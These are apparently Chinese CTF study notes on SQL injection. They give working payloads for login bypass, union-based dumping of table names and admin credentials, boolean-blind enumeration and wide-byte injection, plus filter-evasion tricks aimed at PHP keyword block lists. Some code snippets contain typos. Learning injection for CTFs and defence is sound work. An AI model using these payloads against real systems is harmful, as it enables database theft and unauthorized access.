CTF-Web 知识点
SQL注入
burpsuit构造
注:burpsuit repeater模块中,空格使用+或%20构造
username=xx'+or+1#&password='password'
SQL语句:select * from admin where username='xx'+or+1; # and password='password'';
SQL注入分类
SQL语句中用户输入无非两种,一种数字,一种字符
数字型注入
select * from articles where id=1
select * from articles where id=(1)
字符型注入:逃逸引号,闭合引号
select * from articles where id='1'
select * from articles where id="1"
select * from articles where id=('1')
注意:SQL语句中的()不代表实际含义,只作为一个分组处理
SQL注入可能位置
1、URL提交的参数
2、HTTP请求主题(POST提交的语句)
3、HTTP请求头(User-Agent、Refer、Cookie等)
SQL注入利用方式
1、获取数据库信息(脱库)
2、获取系统命令执行shell
3、上传、下载服务器文件(Webshell)等
SQL注入利用技术大致可以分为以下四类
1、联合注入
2、布尔注入
3、延时盲注
4、报错注入
Union联合注入
理论
1. 通过order by判断字段数
select * from users where id=1 order by 4;
select * from users where id=1 order by 6;
2. 执行联合查询,union前后字段数务必一致。
select * from users where id=1 union select 1,2,database(),3,4,5;
3. 查询数据库名,版本号,用户信息
select * from users where id=1 union select 1,version(),username(),database(),4,5;
4. 查询数据表名(5.0 版本以下没有information_schem)
select * from users where id=1 union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 0,1),4,5;
或
select * from users where id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5;
5. 查询字段名
select * from users where id=1 union select 1,2,(select group_concat(colume_name) from information_schema.columes where table_name='admin'),4,5;
或十六进制
select * from users where id=1 union select 1,2,(select group_concat(colume_name) from information_schema.columes where table_name='0x61646D696E'),4,5;
6. 查询具体数据
select * from users where id=1 union select 1,2,concat(username,password) ,4,5 from admin limit 0,1;
注意:union联合查询注入利用只适用于页面中有返回结果的SQL语句查询
实战
实验一:Burpsuit数字型联合注入利用
略
实验二:Burpsuit字符型联合注入利用
Mysql中的注释 #,--+ 闭合引号
select * from users where id='1' 注入语句部分 --+ '
联合注入过滤绕过技巧
联合注入不适用场景:
1、union关键词被完全过滤
2、页面压根不返回查询数据
PHP中常用的过滤函数
| 参数 | 描述 |
|---|---|
| find | 必需。规定要查找的值 |
| replace | 必需。规定替换find中值的值 |
| string | 必需。规定被搜索的字符串 |
| count | 可选。对替换数进行计数的变量 |
| 返回值: | 返回带有替换值的字符串或数组 |
|---|---|
| PHP版本: | 4+ |
| 更新日志: | 在PHP5.0中,新增了count参数。在PHP4.3.3之前,该函数的find和replace参数都为数组时将会遇到麻烦,会引起空的find索引在内部指针没有更换到replace 数组上时被忽略。新的版本不会有这个问题。自PHP 4.0.5起, 大多数参数可以是一个数组。 |
str_replace(find,replace,string,count)
代码案例:
<?php
$arr = array("union", "sleep" , "benchmark" , "floor");
$sq1 = "select * from admin where id = 1 union select 1,2,3,4,5";
$sql= str_ replace($arr,"",$sql, $count);
echo $sql;
echo $count;
?>
preg_place
代码案例
<?php
$sql='select * from admin where id=1 union select 1,2,3,4,5';
$sql=preg_replace('/union|benchmark|sleep|floor/','',$sql);
echo $sql;
preg_match()
代码案例
<?php
//模式分隔符后的"i"标记这是一个带下斜不敏感的搜索
$sql='select * from admin where id=1 unioN select 1,2,3,4,5';
if(preg_match('/union|benchmark|sleep|floor/i',$sql)){
eho "sql inject found";
exit();
}else{
echo $sql;
}
?>
1、大小写绕过
str_replace('/union|sleep','',$sql)
preg_replace('/union|sleep','',$sql)
preg_match('/union|sleep','',$sql)
2、双写绕过
preg_replace函数默认情况下只进行一次匹配。如果匹配到的字符为空的,就可以造成双写绕过。
preg_replace('/union|sleep/i','',$sql)
union替换为uniunionon
3、过滤单引号绕过十六进制
在mysql数据库中的SQL语句,对于字符串数据必须使用引号。使用0x16进制替换字符串可以绕过引号。
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:单引号、双引号、反斜杠、NULL
<?php
$id="1' --+";
$id=addslashes($id);
?>
该函数可用于位存储在数据库的字符串以及数据库查询语句准备字符串。
在php.ini配置文件中,开启magic_quotes_gpc选项,此时对于数字型注入,需要使用十六进制进行绕过。但是对于字符型注入来说,就需要进行逃逸引号的操作。
4、宽字节注入原理与利用
基础:如果数据库中存储数据使用的方式是GBK,那么由于用户输入的内容会进行双字节的组合,会导致用户输入的内容与反斜杠组合,从而逃逸引号。
select * from admin where id = '1 \''
如果为GBK编码则,用户输入 %df'经过程序处理 %df\'此时改为$df%5c组合GBK识别的汉字,之后闭合单引号即可
SQL注入:
select * from admin where id = ' 1%df' 注入SQL语句 --+ '
识别过程:
select * from admin where id = ' 1%df\' 注入SQL语句 --+ '
select * from admin where id = ' 1%df%5c' 注入SQL语句 --+ '
SQL注入利用-布尔盲注
布尔盲注原理
适用场景:
1、WAF还过着过滤函数完全过滤掉union关键词
2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容
例如select * from article where id=1 and 1=1恒为真,输出正确的情况。如果拼接and 1=2恒为假,输出错误情况。
可以确定and 1=1 和and 1=2输入不同结果,此时id参数存在SQL注入漏洞。
布尔盲注实验
1、使用bp判断是否可以布尔盲注
id=1+and+1=1
id=1+and+1=2
使用compare模块进行比较
2、获取数据库名称
id=1+and+length(database())>=$num$
id=1+and+(substr(database(),1,1)='a' #逐字遍历替换a
如果过滤引号,则
id=1+and+ascii(substr(database(),1,1)=$num$ #ord()也可以实现
使用intruder模块,遍历数据库长度的字符,最终找到数据名称
3、获取数据表名称
and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 0,1),1,1))=$num$
#其中limit m,n m为起始位置,n为长度
4、获取字段名称
略
5、获取数值部分
略
sqlmap 中的 --technique可以指定SQL注入利用的技术,其中B为Boolean布尔注入。
布尔盲注过滤绕过技巧 (其他可用)
1、过滤逗号绕过技巧
mid(username,1,1) 等价于 mid(username from 1 for 1)
substr() ...
select * from admin limit 1,1 等价于 select * from admin limit 1 offset 1;
2、过滤比较运算符技巧
greatest(n1,n2,n3_):返回n中的最大值
greatest(ascci(substr(username,1,1)),1)=97;
least(n1,n2,n3_):返回n中的最小值
strcmp(str1,str2):若所有的字符串均相同,则返回0,第一个小于第二个则返回-1
substr(username,1,1) in ('t');
between 'a' and 'c':在a-c之间

浙公网安备 33010602011771号